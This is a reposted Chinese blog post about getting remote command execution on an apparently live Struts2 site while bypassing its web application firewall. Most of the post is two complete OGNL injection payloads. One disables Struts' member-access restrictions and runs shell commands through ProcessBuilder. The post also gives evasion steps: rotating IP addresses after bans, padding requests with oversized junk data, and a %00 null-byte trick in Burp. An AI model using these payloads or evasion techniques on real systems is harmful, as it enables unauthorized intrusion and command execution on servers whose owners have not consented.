码迷,mamicode.com
首页 > 其他好文 > 详细

Struts2 RCE绕waf

时间:2021-01-04 11:08:25      阅读:0      评论:0      收藏:0      [点我收藏+]

标签:erro   命令   gen   name   har   request   blank   whoami   换ip   

某日朋友发来一个Struts2的洞
技术图片
说开始测试的时候能执行命令,结果交了以后审核说复现不了,他看了一下是被waf拦了。
于是发我看看能不能绕过。
首先用普通的payload打一下

%{(#test=‘multipart/form-data‘).(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[‘com.opensymphony.xwork2.ActionContext.container‘]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).(#res=@org.apache.struts2.ServletActionContext@getResponse()).(#res.setContentType(‘text/html;charset=UTF-8‘)).(#res.getWriter().print(‘struts2_security_‘)).(#res.getWriter().print(‘check‘)).(#res.getWriter().flush()).(#res.getWriter().close())} b

被拦了,而且一次封一个ip。
用飞鱼换ip继续尝试发现,可以使用脏数据超大数据包绕过。
技术图片
使用如下payload执行命令

%{(#nike=‘multipart/form-data‘).(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[‘com.opensymphony.xwork2.ActionContext.container‘]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=‘whoami‘).(#iswin=(@java.lang.System@getProperty(‘os.name‘).toLowerCase().contains(‘win‘))).(#cmds=(#iswin?{‘cmd.exe‘,‘/c‘,#cmd}:{‘/bin/bash‘,‘-c‘,#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())} b

技术图片
需要注意payload最后的 b是%00b,直接复制payload到burp里是不行的,需要先打%00b然后将%00url解码
技术图片
或者直接改hex的20为00也行,下面为绕waf的post包.
222.txt

Struts2 RCE绕waf

标签:erro   命令   gen   name   har   request   blank   whoami   换ip   

原文地址:https://www.cnblogs.com/cwkiller/p/14214219.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!